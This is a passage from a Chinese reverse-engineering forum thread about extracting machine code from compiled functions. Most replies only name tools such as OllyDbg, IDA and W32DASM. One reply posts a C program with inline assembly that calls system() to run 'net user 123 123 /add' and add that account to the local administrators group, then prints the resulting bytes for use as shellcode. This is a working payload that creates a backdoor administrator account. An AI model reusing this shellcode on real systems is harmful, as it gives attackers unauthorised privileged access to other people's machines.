能力值:
( LV3,RANK:30 )
|
-
-
2 楼
在数据窗口,你要选多小选多小,或者在反汇编窗口 二进制复制/粘贴
|
能力值:
( LV2,RANK:10 )
|
-
-
3 楼
自己写的,也不知道对不对
提取net user 123 123 /add
net localgroup administrators 123 /add
的机器码
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#define START _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90 _asm _emit 0x90
#define END START
void main(int argc,char* argv[]) {
void sys();
unsigned char flag[10] = {0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};//标志是system函数开始结束的标志
char* begin = (char*)sys;
char* end = NULL;
unsigned char code[100];
while(true) {
if (memcmp(begin,flag,10) == 0) {
begin = begin + 10;
break;
}
begin++;
}
char* again = begin;
while(true) {
if(memcmp(again,flag,10) == 0) {
break;
}
again++;
}
memcpy(code,begin,(again - begin));
for (int i = 0;i < again-begin;i++) {
if (i % 5 == 0) {
putchar('\n');
}
printf("%x ",code[i]);
}
putchar('\n');
}
void sys() {
HMODULE handle;
unsigned long addr;
handle = LoadLibrary("msvcrt.dll");
if (handle == NULL) {
printf("无法加载dll!");
return;
}
addr =(unsigned long)GetProcAddress(handle,"system");//获得system函数的地址
if (addr == 0) {
printf("无法获得函数地址!");
return;
}
START
_asm {
// 下面是c函数:sysytem("net user 123 123 /add");
// system("new localgroup administrators 123 /add");
// 汇编执行过程
//十个nop指令当作开始标志
call fun1
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit ' '
_emit '1'
_emit '2'
_emit '3'
_emit ' '
_emit '1'
_emit '2'
_emit '3'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0
fun1:
call dword ptr addr
add esp,4
call fun2
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'l'
_emit 'o'
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'g'
_emit 'r'
_emit 'o'
_emit 'u'
_emit 'p'
_emit ' '
_emit 'a'
_emit 'd'
_emit 'm'
_emit 'i'
_emit 'n'
_emit 'i'
_emit 's'
_emit 't'
_emit 'r'
_emit 'a'
_emit 't'
_emit 'o'
_emit 'r'
_emit 's'
_emit ' '
_emit '1'
_emit '2'
_emit '3'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0
fun2:
call dword ptr addr
add esp,4
}
END
|
能力值:
( LV9,RANK:140 )
|
-
-
4 楼
IDA好像有这个功能的插件
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
W32DASM
|
能力值:
( LV6,RANK:90 )
|
-
-
6 楼
用nonawrite,OD会转成机器码,然后复制出来。
|
|
|